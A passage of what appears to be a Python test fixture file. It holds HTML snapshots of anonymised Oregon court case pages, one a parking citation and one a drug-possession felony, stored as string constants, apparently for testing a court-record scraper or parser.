Balance Due as of 12/06/2018</th><td align="right" headers="CDFRB1 RCDFRBD1"> <b>65.00</b></td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><td> </td><td> </td><td> </td><td> </td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDFTRD1">12/04/2018</th><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" style="padding-left:3px" id="RCDFTRDE1">Transaction Assessment</th><td headers="CDFRB1 RCDFTRD1 RCDFTRDE1"> </td><td headers="CDFRB1 RCDFTRD1 RCDFTRDE1"> </td><td align="right" headers="CDFRB1 RCDFTRD1 RCDFTRDE1"> 65.00</td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><td> </td><td> </td><td> </td><td> </td></tr></table>
<form id="Form1" action="" method="post"></form>
</body>
</html>
"""
CASEJD1 = '''
<html>
<head>
</head>
<body>
<?xml version="1.0" encoding="utf-8"?><table cellspacing="0" cellpadding="0" width="100%" border="0" style="table-layout: fixed; margin:0px; padding:0px;"></table><table cellspacing="0" cellpadding="0" width="100%" border="0" style="table-layout: fixed; margin:0px; padding:0px;"><tr><td bgcolor="#000000" height="20px"><table cellspacing="0" cellpadding="0" width="100%" border="0"><tr><td align="left" style="padding-left: 5px"><font size="1"><a class="ssBlackNavBarHyperlink" href="#MainContent">Skip to Main Content</a> <a class="ssBlackNavBarHyperlink" href="logout.aspx">Logout</a> <a class="ssBlackNavBarHyperlink" href="MyAccount.aspx?ReturnURL=default.aspx">My Account</a> <a class="ssBlackNavBarHyperlink" href="default.aspx">Search Menu</a> <a class="ssBlackNavBarHyperlink" href="Search.aspx?ID=100">Search Criminal, Traffic and Parking Case Records</a> <a class="ssBlackNavBarHyperlink" href="Search.aspx?ID=100&RefineSearch=1">Refine Search</a> <a class="ssBlackNavBarHyperlink" href="
 javascript:if((new String(window.location)).indexOf("#MainContent") > 0)
 {
 history.back();
 history.back();
 }
 else history.back();
 ">
Back</a> </font></td><td align="center" class="ssBlackNavBarLocation"></td><td align="right" style="padding-right: 10px"><table cellspacing="0" cellpadding="0" border="0"><tr><td class="ssBlackNavBarLocation">
Location : All Locations</td><td size="1"><a class="ssBlackNavBarHyperlink" href="CPR.aspx?CaseID=CASEJD1&CaseCategoryKeys=CR&NodeID=101100,102100,103100,104100,104210,104215,104220,104225,104310,104320,104330,104410,104420,104430,104440,105100,106100,106200,106210,107100,107200,107300,107400,107500,108100,109100,110100,110200,111100,112100,113100,114100,115100,115200,116100,117100,118100,119100,120100,121100,122100,122200,123100,124100,124200,125100,126100,127100,150000,150100,150200">Images</a> </td><td><font size="1"><a class="ssBlackNavBarHyperlink" target="_blank" href="http://www.courts.oregon.gov/services/online/Documents/OJCIN/OECI/PA_QRefG_OJIN.pdf">Help</a></font></td></tr></table></td></tr></table></td></tr></table><a id="MainContent" name="MainContent" tabindex="-1"></a><div class="ssCaseDetailROA" nowrap="true">Register of Actions</div><a href="CPR.aspx?CaseID=CASEJD1&CaseCategoryKeys=CR&NodeID=101100,102100,103100,104100,104210,104215,104220,104225,104310,104320,104330,104410,104420,104430,104440,105100,106100,106200,106210,107100,107200,107300,107400,107500,108100,109100,110100,110200,111100,112100,113100,114100,115100,115200,116100,117100,118100,119100,120100,121100,122100,122200,123100,124100,124200,125100,126100,127100,150000,150100,150200"><div class="ssCaseDetailCaseNbr" nowrap="true" style="cursor: hand" title="Click to view images on the case">
Case No. <span style="font-variant: normal">CASEJD1</span></div></a><table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td width="50%" valign="top"><b>Portland Parking Patrol VS. JOHN DOE</b></td><td>§<br />§<br />§<br />§<br />§<br />§<br /></td><td width="50%" valign="top" align="center"><table cellpadding="0" cellspacing="0" width="90%" border="0"><tr><td width="70%"><table cellpadding="0" cellspacing="0" width="100%" border="0"><cols><col width="50%" /><col width="50%" /></cols><tr><th class="ssTableHeaderLabel">Case Type:</th><td style="padding-left:10px"><b>Municipal Parking</b></td></tr><tr><th class="ssTableHeaderLabel">Date Filed:</th><td style="padding-left:10px"><b>09/05/2008</b></td></tr><tr><th class="ssTableHeaderLabel">Location:</th><td style="padding-left:10px"><b>Multnomah</b></td></tr><tr><th class="ssTableHeaderLabel" valign="top">Vehicle License Plate:</th><td style="padding-left:10px" valign="top"><b>555AAA</b></td></tr></table></td></tr></table></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0" style="table-layout: fixed"><col width="10%" /><col width="30%" /><col width="10%" /><col width="30%" /><col width="20%" /><caption><div class="ssCaseDetailSectionTitle">Party Information</div></caption><tr><td colspan="4"></td><th class="ssTableHeader" id="PIc5">Attorneys</th></tr><tr><th class="ssTableHeader" valign="top" rowspan="2" id="PIr01">Defendant</th><th class="ssTableHeader" valign="top" id="PIr11">DOE, JOHN</th><td rowspan="2"></td><td rowspan="2" valign="top" headers="
 PIr01 
 PIr11"> <br />
DOB: 1969</td><td rowspan="2" valign="top" headers="
 PIr01 
 PIr11 
 PIc5
 "><s></s></td></tr><tr><td valign="top" headers="
 PIr01 
 PIr11"> street address<br /> PORTLAND , OR 90210 <br /></td></tr><tr height="25"><td colspan="5"> </td></tr><tr><th class="ssTableHeader" valign="top" rowspan="2" id="PIr02">Plaintiff</th><th class="ssTableHeader" valign="top" id="PIr12">Portland Parking Patrol</th><td rowspan="2"></td><td rowspan="2" valign="top" headers="
 PIr02 
 PIr12"> </td><td rowspan="2" valign="top" headers="
 PIr02 
 PIr12 
 PIc5
 "><s></s></td></tr><tr><td valign="top" headers="
 PIr02 
 PIr12"></td></tr><tr height="25"><td colspan="5"> </td></tr><tr><th class="ssTableHeader" valign="top" rowspan="2" id="PIr03">Plaintiff</th><th class="ssTableHeader" valign="top" id="PIr13">State of Oregon</th><td rowspan="2"></td><td rowspan="2" valign="top" headers="
 PIr03 
 PIr13"> </td><td rowspan="2" valign="top" headers="
 PIr03 
 PIr13 
 PIc5
 "><s></s></td></tr><tr><td valign="top" headers="
 PIr03 
 PIr13"></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0"><col width="2%" /><col width="40%" /><col width="15%" /><col width="15%" /><col width="15%" /><col width="10%" /><caption><div class="ssCaseDetailSectionTitle">Charge Information</div></caption><tr><th class="ssTableHeader" nowrap="true" colspan="2">
Charges: DOE, JOHN</th><th class="ssTableHeader"></th><th class="ssTableHeader">
Statute
</th><th class="ssTableHeader">
Level
</th><th class="ssTableHeader">
Date
</th></tr><tr><td valign="top">1.
</td><td valign="top">Loading Zone</td><td valign="top"></td><td valign="top">29</td><td valign="top" nowrap="true">Violation Unclassified</td><td valign="top" nowrap="true">09/04/2008</td></tr><tr><td /><td></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0" style="table-layout:fixed;"><col width="54px" /><col width="3px" /><col width="3px" /><col width="700px" /><col width="100%" /><caption><div class="ssCaseDetailSectionTitle">Events & Orders of the Court</div></caption><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th id="CDisp" class="ssEventsAndOrdersSubTitle">DISPOSITIONS</th></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDCD1">11/18/2008</th><td style="border-right: 1px solid black"> </td><td> </td><td valign="top" headers="CDisp RCDCD1"><div style="padding-bottom: 10px"><b>Disposition</b> (Judicial Officer: Unassigned, Judge)<br /><div><div style="padding-left: 10px">1. Loading Zone<div style="padding-left: 40px">Convicted</div><div style="padding-left: 40px"></div></div></div><div style="padding-left: 10px;font-size:8pt;">
Created: 11/18/2008 12:00 AM</div></div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDCD2">11/18/2008</th><td style="border-right: 1px solid black"> </td><td> </td><td valign="top" headers="CDisp RCDCD2"><div style="padding-bottom: 10px"><b>Judgment Default</b> (Judicial Officer: Administrative, Parking)<br /><div><div style="padding-left: 10px">1. Loading Zone<div style="padding-left: 40px"><table cellspacing="0px" cellpadding="0px" style="table-layout:fixed" width="100%"><tr><td class="ssMenuText ssSmallText"><nobr><table cellspacing="0px" cellpadding="0px" style="table-layout:fixed" width="90%"><colgroup><col width="20px" /><col width="*" /></colgroup><tr><td class="ssMenuText ssSmallText" colspan="2">Converted Disposition:</td></tr><tr><td /><td class="ssMenuText ssSmallText"><div class="ssPreFormatted ssMenuText ssSmallText" style="display:list-item;">Fine $120.00
</div></td></tr></table></nobr></td></tr></table></div></div></div><div style="padding-left: 10px;font-size:8pt;">
Created: 11/18/2008 12:00 AM</div></div></td></tr><tr><td> </td><td> </td><td> </td><td></td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th id="COtherEventsAndHearings" class="ssEventsAndOrdersSubTitle">OTHER EVENTS AND HEARINGS</th></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER1">09/05/2008</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER1"><b>Citation</b><div style="padding-left: 10px"><i>Comment: See MISC Event;
</i></div><div style="padding-left: 10px;font-size:8pt;">
Created: 09/05/2008 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER2">09/05/2008</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER2"><b>Miscellaneous</b><div style="padding-left: 10px"><i>Comment: Location: SW ALDER ST Between BROADWAY And 6TH AVE On the N Side of the street;
</i></div><div style="padding-left: 10px;font-size:8pt;">
Created: 09/05/2008 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER3">09/05/2008</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER3"><b>Miscellaneous</b><div style="padding-left: 10px"><i>Comment: Comment: PICKUP - NO SIGNS, PE RMIT, OR ACTIVITY 2 TLZ SIGNS;
</i></div><div style="padding-left: 10px;font-size:8pt;">
Created: 09/05/2008 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER4">09/05/2008</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER4"><b>Miscellaneous</b><div style="padding-left: 10px"><i>Comment: Posted: TLZ 8 PM-6 AM ALL DAYS;
</i></div><div style="padding-left: 10px;font-size:8pt;">
Created: 09/05/2008 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER5">09/05/2008</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER5"><b>Miscellaneous</b><div style="padding-left: 10px"><i>Comment: Plate Expiration Date = 07/10;
</i></div><div style="padding-left: 10px;font-size:8pt;">
Created: 09/05/2008 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER6">09/16/2008</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER6"><b>Notice - Delinquent</b><div style="padding-left: 10px;font-size:8pt;">
Created: 09/16/2008 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER7">11/18/2008</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER7"><b>Convicted</b><div style="padding-left: 10px;font-size:8pt;">
Created: 11/18/2008 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER8">11/18/2008</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER8"><b>Notice - Default Judgment Traffic Failure to Appear</b><div style="padding-left: 10px"><i>
Defendant: JOHN DOE
</i></div><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 11/18/2008 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER9">11/18/2008</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER9"><b>Closed</b><div style="padding-left: 10px;font-size:8pt;">
Created: 11/18/2008 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER10">11/18/2008</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER10"><b>Judgment - Default</b>
(Judicial Officer:
Administrative, Parking
)
<div style="padding-left: 10px;font-size:8pt;">
Created: 11/18/2008 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER11">11/19/2008</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER11"><b>Notice - Printed</b><div style="padding-left: 10px;font-size:8pt;">
Created: 11/19/2008 12:00 AM</div></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0"><col width="1" /><col width="0" /><col width="3" /><col width="20%" /><col width="40%" /><col width="40%" /><col width="1" /><caption><div class="ssCaseDetailSectionTitle">Financial Information</div></caption><tr><td colspan="7"></td></tr><tr><td> </td><td> </td><td> </td><td> </td><td> </td><td> </td></tr><tr><td> </td><td> </td><td> </td><td> </td><td> </td><td> </td></tr><tr><td valign="top"> </td><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" colspan="4" style="padding-left:3px" id="CDFRB1"><span style="font-weight: bold;">Defendant</span> DOE, JOHN</th></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" colspan="3" style="padding-left:3px" id="RCDFRBFA1">Total Financial Assessment</th><td align="right" headers="CDFRB1 RCDFRBFA1"> 120.00</td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" colspan="3" style="padding-left:3px" id="RCDFRPC1">Total Payments and Credits</th><td align="right" headers="CDFRB1 RCDFRPC1"> 120.00</td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeader" colspan="3" style="padding-left:3px" id="RCDFRBD1">
Balance Due as of 01/20/2019</th><td align="right" headers="CDFRB1 RCDFRBD1"> <b>0.00</b></td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><td> </td><td> </td><td> </td><td> </td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDFTRD1">11/18/2008</th><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" style="padding-left:3px" id="RCDFTRDE1">Transaction Assessment</th><td headers="CDFRB1 RCDFTRD1 RCDFTRDE1"> </td><td headers="CDFRB1 RCDFTRD1 RCDFTRDE1"> </td><td align="right" headers="CDFRB1 RCDFTRD1 RCDFTRDE1"> 120.00</td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><td> </td><td> </td><td> </td><td> </td></tr></table>
<form id="Form1" action="" method="post"></form>
</body>
</html>
'''
CASEJD74 = '''
<html>
<head>
</head>
<body>
<?xml version="1.0" encoding="utf-8"?><table cellspacing="0" cellpadding="0" width="100%" border="0" style="table-layout: fixed; margin:0px; padding:0px;"></table><table cellspacing="0" cellpadding="0" width="100%" border="0" style="table-layout: fixed; margin:0px; padding:0px;"><tr><td bgcolor="#000000" height="20px"><table cellspacing="0" cellpadding="0" width="100%" border="0"><tr><td align="left" style="padding-left: 5px"><font size="1"><a class="ssBlackNavBarHyperlink" href="#MainContent">Skip to Main Content</a> <a class="ssBlackNavBarHyperlink" href="logout.aspx">Logout</a> <a class="ssBlackNavBarHyperlink" href="MyAccount.aspx?ReturnURL=default.aspx">My Account</a> <a class="ssBlackNavBarHyperlink" href="default.aspx">Search Menu</a> <a class="ssBlackNavBarHyperlink" href="Search.aspx?ID=100">Search Criminal, Traffic and Parking Case Records</a> <a class="ssBlackNavBarHyperlink" href="Search.aspx?ID=100&RefineSearch=1">Refine Search</a> <a class="ssBlackNavBarHyperlink" href="
 javascript:if((new String(window.location)).indexOf("#MainContent") > 0)
 {
 history.back();
 history.back();
 }
 else history.back();
 ">
Back</a> </font></td><td align="center" class="ssBlackNavBarLocation"></td><td align="right" style="padding-right: 10px"><table cellspacing="0" cellpadding="0" border="0"><tr><td class="ssBlackNavBarLocation">
Location : All Locations</td><td><font size="1"><a class="ssBlackNavBarHyperlink" target="_blank" href="http://www.courts.oregon.gov/services/online/Documents/OJCIN/OECI/PA_QRefG_OJIN.pdf">Help</a></font></td></tr></table></td></tr></table></td></tr></table><a id="MainContent" name="MainContent" tabindex="-1"></a><div class="ssCaseDetailROA" nowrap="true">Register of Actions</div><div class="ssCaseDetailCaseNbr" nowrap="true">
Case No. <span style="font-variant: normal">000332623</span></div><table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td width="50%" valign="top"><b>State of Oregon VS. John D Doe</b></td><td>§<br />§<br />§<br />§<br />§<br />§<br />§<br />§<br /></td><td width="50%" valign="top" align="center"><table cellpadding="0" cellspacing="0" width="90%" border="0"><tr><td width="70%"><table cellpadding="0" cellspacing="0" width="100%" border="0"><cols><col width="50%" /><col width="50%" /></cols><tr><th class="ssTableHeaderLabel">Case Type:</th><td style="padding-left:10px"><b>Offense Felony</b></td></tr><tr><th class="ssTableHeaderLabel">Date Filed:</th><td style="padding-left:10px"><b>03/19/2000</b></td></tr><tr><th class="ssTableHeaderLabel">Location:</th><td style="padding-left:10px"><b>Multnomah</b></td></tr><tr><th class="ssTableHeaderLabel" valign="top">Booking Number:</th><td style="padding-left:10px" valign="top"><b>555555</b></td></tr><tr><th class="ssTableHeaderLabel" valign="top">Collection Agency Identification Number:</th><td style="padding-left:10px" valign="top"><b>555555</b></td></tr><tr><th class="ssTableHeaderLabel" valign="top">District Attorney Number:</th><td style="padding-left:10px" valign="top"><b>555555-B</b></td></tr></table></td></tr></table></td></tr></table><table cellpadding="0" cellspacing="0" style="width: 100%"><caption><div class="ssCaseDetailSectionTitle">Related Case Information</div></caption><tr><th id="RCIr1" class="ssTableHeader">
Related Cases
</th></tr><tr><td class="ssSmallText" headers="RCIr1" style="padding-left:10px">555555 (Co-Defendant)
</td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0" style="table-layout: fixed"><col width="10%" /><col width="30%" /><col width="10%" /><col width="30%" /><col width="20%" /><caption><div class="ssCaseDetailSectionTitle">Party Information</div></caption><tr><td colspan="4"></td><th class="ssTableHeader" id="PIc5">Attorneys</th></tr><tr><th class="ssTableHeader" valign="top" rowspan="2" id="PIr01">Defendant</th><th class="ssTableHeader" valign="top" id="PIr11">DOE, JOHN <i>Also Known As</i> bloopity bloop <i>Also Known As</i> DOE, JOHN D</th><td rowspan="2"></td><td rowspan="2" valign="top" headers="
 PIr01 
 PIr11">Male Black<br />
DOB: 1970<br />6' 1", 195 lbs</td><td rowspan="2" valign="top" headers="
 PIr01 
 PIr11 
 PIc5
 "><b></b><br /> <I>Court Appointed</I><br />503 939-6514(W)<table><tr height="25"><td> </td></tr></table><s></s><br /> <I><s>Court Appointed</s></I><br /><s>503 295-2996(W)</s><table><tr height="25"><td> </td></tr></table><s></s><br /> <I><s>Court Appointed</s></I><br /><s>503 281-3436(W)</s><table><tr height="25"><td> </td></tr></table><s></s><br /> <I><s>Court Appointed</s></I><br /><s>503 228-9858(W)</s></td></tr><tr><td valign="top" headers="
 PIr01 
 PIr11"> <br /> PORTLAND , OR 97213 <br /><nobr> SID:
</nobr><br /><nobr> Other Agency Numbers
</nobr><div style="padding-left: 15px;">99719 Multnomah County Sheriff</div></td></tr><tr height="25"><td colspan="5"> </td></tr><tr><th class="ssTableHeader" valign="top" rowspan="2" id="PIr02">Plaintiff</th><th class="ssTableHeader" valign="top" id="PIr12">State of Oregon</th><td rowspan="2"></td><td rowspan="2" valign="top" headers="
 PIr02 
 PIr12"> </td><td rowspan="2" valign="top" headers="
 PIr02 
 PIr12 
 PIc5
 "><b></b><br />503 303-7238(W)</td></tr><tr><td valign="top" headers="
 PIr02 
 PIr12"></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0"><col width="2%" /><col width="40%" /><col width="15%" /><col width="15%" /><col width="15%" /><col width="10%" /><caption><div class="ssCaseDetailSectionTitle">Charge Information</div></caption><tr><th class="ssTableHeader" nowrap="true" colspan="2">
Charges: DOE, JOHN</th><th class="ssTableHeader"></th><th class="ssTableHeader">
Statute
</th><th class="ssTableHeader">
Level
</th><th class="ssTableHeader">
Date
</th></tr><tr><td valign="top">1.
</td><td valign="top">Poss Controlled Sub 2</td><td valign="top"></td><td valign="top">4759924B</td><td valign="top" nowrap="true">Felony Class C</td><td valign="top" nowrap="true">03/19/2000</td></tr><tr><td /><td></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0" style="table-layout:fixed;"><col width="54px" /><col width="3px" /><col width="3px" /><col width="700px" /><col width="100%" /><caption><div class="ssCaseDetailSectionTitle">Events & Orders of the Court</div></caption><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th id="CDisp" class="ssEventsAndOrdersSubTitle">DISPOSITIONS</th></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDCD1">05/10/2000</th><td style="border-right: 1px solid black"> </td><td> </td><td valign="top" headers="CDisp RCDCD1"><div style="padding-bottom: 10px"><b>Disposition</b> (Judicial Officer: Unassigned, Judge)<br /><div><div style="padding-left: 10px">1. Poss Controlled Sub 2<div style="padding-left: 40px">Convicted</div><div style="padding-left: 40px"></div></div></div><div style="padding-left: 10px;font-size:8pt;">
Created: 05/11/2000 12:00 AM</div></div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDCD2">05/10/2000</th><td style="border-right: 1px solid black"> </td><td> </td><td valign="top" headers="CDisp RCDCD2"><div style="padding-bottom: 10px"><b>Plea</b> (Judicial Officer: Unassigned, Judge)<br /><div><div style="padding-left: 10px">1. Poss Controlled Sub 2<div style="padding-left: 40px">Guilty</div><div style="padding-left: 40px"></div></div></div><div style="padding-left: 10px;font-size:8pt;">
Created: 05/11/2000 12:00 AM</div></div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDCD3">05/10/2000</th><td style="border-right: 1px solid black"> </td><td> </td><td valign="top" headers="CDisp RCDCD3"><div style="padding-bottom: 10px"><b>Judgment Presumptive</b> (Judicial Officer: Ro)<br /><div><div style="padding-left: 10px">1. Poss Controlled Sub 2<div style="padding-left: 40px"><table cellspacing="0px" cellpadding="0px" style="table-layout:fixed" width="100%"><tr><td class="ssMenuText ssSmallText"><nobr><table cellspacing="0px" cellpadding="0px" style="table-layout:fixed" width="90%"><colgroup><col width="20px" /><col width="*" /></colgroup><tr><td class="ssMenuText ssSmallText" colspan="2">Converted Disposition:</td></tr><tr><td /><td class="ssMenuText ssSmallText"><div class="ssPreFormatted ssMenuText ssSmallText" style="display:list-item;">Status: Superseded on: Feb 21 2001 12:00AM
GRID 1E;PROB SUPV FEE $25/MO;90/30 CU IMPOSED;DP PER PO;</div></td></tr></table></nobr></td></tr></table><table cellspacing="0px" cellpadding="0px" style="table-layout:fixed" width="100%"><tr><td class="ssMenuText ssSmallText"><nobr><table cellspacing="0px" cellpadding="0px" style="table-layout:fixed" width="90%"><colgroup><col width="20px" /><col width="*" /></colgroup><tr><td class="ssMenuText ssSmallText" colspan="2">Converted Disposition:</td></tr><tr><td /><td class="ssMenuText ssSmallText"><div class="ssPreFormatted ssMenuText ssSmallText" style="display:list-item;">Status: Superseded on: Feb 21 2001 12:00AM
Unitary Assessment $105.00
Attorney Fees $300.00
</div></td></tr></table></nobr></td></tr></table><table cellspacing="0px" cellpadding="0px" style="table-layout:fixed" width="100%"><tr><td class="ssMenuText ssSmallText"><nobr><table cellspacing="0px" cellpadding="0px" style="table-layout:fixed" width="90%"><colgroup><col width="20px" /><col width="*" /></colgroup><tr><td class="ssMenuText ssSmallText" colspan="2">Converted Disposition:</td></tr><tr><td /><td class="ssMenuText ssSmallText"><div class="ssPreFormatted ssMenuText ssSmallText" style="display:list-item;">Status: Superseded on: Feb 21 2001 12:00AM
&#x0A;Probation - Month(s): 18.00
General Conditions of Probation - :
Drug Package - :
No trespass - drug free zone - Year(s): 1.00
Drivers License Suspension - : Waived
State true name in all future police contacts - :
Remain Custody Units Available - : Reserved
Jail - Custody Units: 20.00 Credit Time Served
Alternative terms may be considered (SB936) - :
</div></td></tr></table></nobr></td></tr></table></div></div></div><div style="padding-left: 10px;font-size:8pt;">
Created: 05/17/2000 12:00 AM</div></div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDCD4">02/13/2001</th><td style="border-right: 1px solid black"> </td><td> </td><td valign="top" headers="CDisp RCDCD4"><div style="padding-bottom: 10px"><b>Amended Judgment on Probation</b> (Judicial Officer:) Reason: Supersedes Previous Judgment<br /><div><div style="padding-left: 10px">1. Poss Controlled Sub 2<div style="padding-left: 40px"><table cellspacing="0px" cellpadding="0px" style="table-layout:fixed" width="100%"><tr><td class="ssMenuText ssSmallText"><nobr><table cellspacing="0px" cellpadding="0px" style="table-layout:fixed" width="90%"><colgroup><col width="20px" /><col width="*" /></colgroup><tr><td class="ssMenuText ssSmallText" colspan="2">Converted Disposition:</td></tr><tr><td /><td class="ssMenuText ssSmallText"><div class="ssPreFormatted ssMenuText ssSmallText" style="display:list-item;">GRID 1E;PROB SUPV FEE $25/MO;90/30 CU IMPOSED;DP PER PO; ** Prob Cont d. No sanction **</div></td></tr></table></nobr></td></tr></table><table cellspacing="0px" cellpadding="0px" style="table-layout:fixed" width="100%"><tr><td class="ssMenuText ssSmallText"><nobr><table cellspacing="0px" cellpadding="0px" style="table-layout:fixed" width="90%"><colgroup><col width="20px" /><col width="*" /></colgroup><tr><td class="ssMenuText ssSmallText" colspan="2">Converted Disposition:</td></tr><tr><td /><td class="ssMenuText ssSmallText"><div class="ssPreFormatted ssMenuText ssSmallText" style="display:list-item;">Unitary Assessment $105.00
Attorney Fees $300.00
</div></td></tr></table></nobr></td></tr></table><table cellspacing="0px" cellpadding="0px" style="table-layout:fixed" width="100%"><tr><td class="ssMenuText ssSmallText"><nobr><table cellspacing="0px" cellpadding="0px" style="table-layout:fixed" width="90%"><colgroup><col width="20px" /><col width="*" /></colgroup><tr><td class="ssMenuText ssSmallText" colspan="2">Converted Disposition:</td></tr><tr><td /><td class="ssMenuText ssSmallText"><div class="ssPreFormatted ssMenuText ssSmallText" style="display:list-item;">Probation - Month(s): 18.00
General Conditions of Probation - :
Drug Package - :
No trespass - drug free zone - Year(s): 1.00
Drivers License Suspension - : Waived
State true name in all future police contacts - :
Remain Custody Units Available - : Reserved
Jail - Custody Units: 20.00 Credit Time Served
Alternative terms may be considered (SB936) - :
Probation Continued - :
Original Conditions - :
</div></td></tr></table></nobr></td></tr></table></div></div></div><div style="padding-left: 10px;font-size:8pt;">
Created: 02/13/2001 12:00 AM</div></div></td></tr><tr><td> </td><td> </td><td> </td><td></td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th id="COtherEventsAndHearings" class="ssEventsAndOrdersSubTitle">OTHER EVENTS AND HEARINGS</th></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER1">03/20/2000</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER1"><b>Arraignment</b><div style="padding-left: 10px;font-size:8pt;">
Created: 03/21/2000 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER2">03/20/2000</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER2"><b>Remove - Inactive Status</b><div style="padding-left: 10px;font-size:8pt;">
Created: 03/21/2000 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" ID="RCDHR3">03/20/2000</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDHR3"><b>Arraignment</b>
(2:30 PM)
()
<table></table><div style="padding-left: 10px;font-size:8pt;">
Created: 03/19/2000 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER4">03/21/2000</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER4"><b>Information</b><div style="padding-left: 10px;font-size:8pt;">
Created: 03/21/2000 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER5">03/21/2000</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER5"><b>Order - Probable Cause</b>
(Judicial Officer:
judicial officer
)
<div style="padding-left: 10px"><i>Comment: stamped on Information;
Court Action: Signed; Court Action Date: 03/20/2000;
Judge: Judge
</i></div><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"><tr><th class="ssTableHeaderLabelLeft">Signed: </th><td>03/20/2000</td></tr></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 03/21/2000 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER6">03/22/2000</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER6"><b>Order - Appointing Counsel</b>
(Judicial Officer:
judicial officer
)
<div style="padding-left: 10px"><i>Court Action: Signed; Court Action Date: 03/20/2000;
Judge: Judge
</i></div><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"><tr><th class="ssTableHeaderLabelLeft">Signed: </th><td>03/20/2000</td></tr></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 03/22/2000 12:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER7">03/22/2000</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER7"><b>Order - Appear</b>
(Judicial Officer:
judicial officer
)
<div style="padding-left: 10px"><i>Comment: PRSP IF ACCT W/PO APP;
Court Action: Signed; Court Action Date: 03/20/2000;
Judge: Judge
</i></div><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"><tr><th class="
